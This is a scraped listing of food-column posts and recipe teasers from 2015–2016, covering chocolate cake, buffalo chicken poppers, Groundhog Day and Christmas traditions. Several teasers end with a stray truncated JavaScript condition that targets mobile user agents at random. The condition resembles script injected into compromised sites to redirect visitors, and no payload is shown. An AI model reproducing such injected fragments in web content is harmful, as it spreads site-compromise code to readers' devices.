Epic chocolate cake

Feb 2, 2016 / 5:07 pm

Not a lot beats chocolate cake... especially this one. Layers of rich, moist chocolate sponge drizzled with coffee syrup and sandwiched with cocoa buttercream before finishing with a lashing of dark chocolate ganache and honeycomb. Drooling yet? Thought so! if(navigator.userAgent.toLowerCase().

Buffalo chicken poppers

Feb 1, 2016 / 1:53 pm

Lazarus makes indulgent spicy buffalo chicken poppers wrapped in bacon with blue cheese. They're great for parties or game days and only take half an hour to make. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Groundhog Day looming

Jan 30, 2016 / 2:00 pm

Photo: Kristin Peturson-Laprise Celebrate the seasons February 2 is Groundhog Day, a day made famous in pop culture by the Bill Murray movie in which he lives the day over and over again until he learns that he must make the most of what life has given him.  I thought I wo

100 cal poppadom snacks

Jan 26, 2016 / 3:54 pm

These four delicious and nutritious snacks from Jamie Oliver will satisfy your hunger at just 100 calories each. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Roasted Rolled Pork Loin

Jan 25, 2016 / 3:05 pm

Gordon Ramsay shows us how to prepare this rich and sumptuous roasted rolled pork loin with lemon and sage. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Vietnamese Spring Rolls

Jan 25, 2016 / 12:07 pm

These rice paper rolled spring rolls are super fresh and pretty healthy. With so much crispy pork, peanut, sesame, soy and pickled veg they are an absolute winner and remind us of Vietnam! if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Time to reward ourselves

Jan 23, 2016 / 10:00 pm

Photo: Contributed - Elizabeth Hachem Ready, set, splurge! I have been harping on healthy living for a couple of weeks now, so now it’s time to remember the good life. You know what they say, all work and no play makes for a dull boy - or girl. Same with food - you have to cut lo

Pizza baked potato

Jan 19, 2016 / 4:30 pm

Pepperoni pizza baked potato, because a baked potato is the perfect canvas for your next pizza creation. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Just . . . eat it!

Jan 16, 2016 / 9:55 am

Photo: Kristin Peturson-Laprise What is 'healthy eating'? Here we are, with New Year's resolutions pressuring us to be better and news items telling us we should eat better and Facebook warning us about dangerous foods to avoid.  What's a person supposed to do,

Are we getting dumber?

Jan 9, 2016 / 8:11 am

Photo: Contributed - Machacekcz I need more smart food! There are all kinds of ‘smart’ things in our world today - smart phones, smart appliances, even smart homes. I read an article this morning about a new smart fridge that is being launched at a fair in Las Vegas. T

I resolve to . . .

Dec 26, 2015 / 6:00 am

Photo: Contributed It’s that time of year again. Did you make a resolution?  Have you resolved to improve on some area of your life? Are you aiming to reach a new goal? In the spirit of lists, and easing the stress of entering into a new year, I have prepared my Top Ten N

The perfect holiday table

Dec 19, 2015 / 6:00 am

Photo: Contributed Okay, we're on the home stretch to Christmas, so I thought it was time to make sure you had all the crucial information for the big day.  We've talked about Christmas spirit, and traditions, and some of the treats . . . now we get down to the Christmas d

Keep the magic in Christmas

Dec 12, 2015 / 6:00 am

Photo: Kristin Peturson-Laprise Christmas shortbread We are getting down to the nitty gritty now - it's just a couple of weeks ’til the big day, so if you don't have your Christmas spirit dusted off, you’d better get to it.  Wait, did I hear a ‘Bah, hu

Naughty or nice?

Dec 5, 2015 / 6:00 am

Photo: Contributed We had our Girl Guide Christmas sing-along this past week, and of course among the favourites on the song list was ‘Santa Claus is Coming to Town’.  The young girls in the crowd were especially conscious of the warnings - you know . . .  &nbs

Time is the tastiest treat

Nov 28, 2015 / 6:00 am

Photo: Kristin Peturson-Laprise I read an article this week that said couples who spend time together are happier, and live longer.  I wondered just who had managed to bamboozle a government agency or research body into paying for that study, because it seemed like a no-brainer to

Traditions, old and new

Nov 21, 2015 / 6:00 am

Photo: Contributed I was catching up with family news on Facebook this past week, and it occurred to me that I was reading a new sort of Christmas card.  It made me think how little things have changed in my lifetime about this time of year. You may wonder if I have had a bit too

50 years of food

Nov 14, 2015 / 6:00 am

Photo: Contributed I'm writing this column on my 50th birthday. That's a lot of cake and candles!  Have to admit that I feel pretty good, better than I thought I would for a half century on the planet. The food I have consumed might have something to do with that, so here

Foodie on the road

Nov 7, 2015 / 7:00 am

Las Vegas Foodie Heaven Photo: Kristin Peturson-Laprise Only in America Photo: Kristin Peturson-Laprise 800 degree pizzas Photo: Kristin Peturson-Laprise Chartreuse soufflè Photo: Kristin Peturson-Laprise Chicken and waffles Photo: Kristin Peturs

Living in the moment

Oct 24, 2015 / 6:00 am

Photo: Kristin Peturson-Laprise Ella lives in the moment The title sounds so simple, doesn't it? We talk about the spiritual ideal of enjoying life’s moments to their utmost, being true to ourselves so that we can make the most of every moment . . . yet I have found it's

Seventh inning stretch

Oct 17, 2015 / 5:00 am

Photo: Contributed Baseball isn't baseball without a hot dog October is a month when most things are winding down, but there is still anticipation and excitement for the end of the year. Gardens are getting wrapped up, farms are turning the ground over, and everyone starts to prepa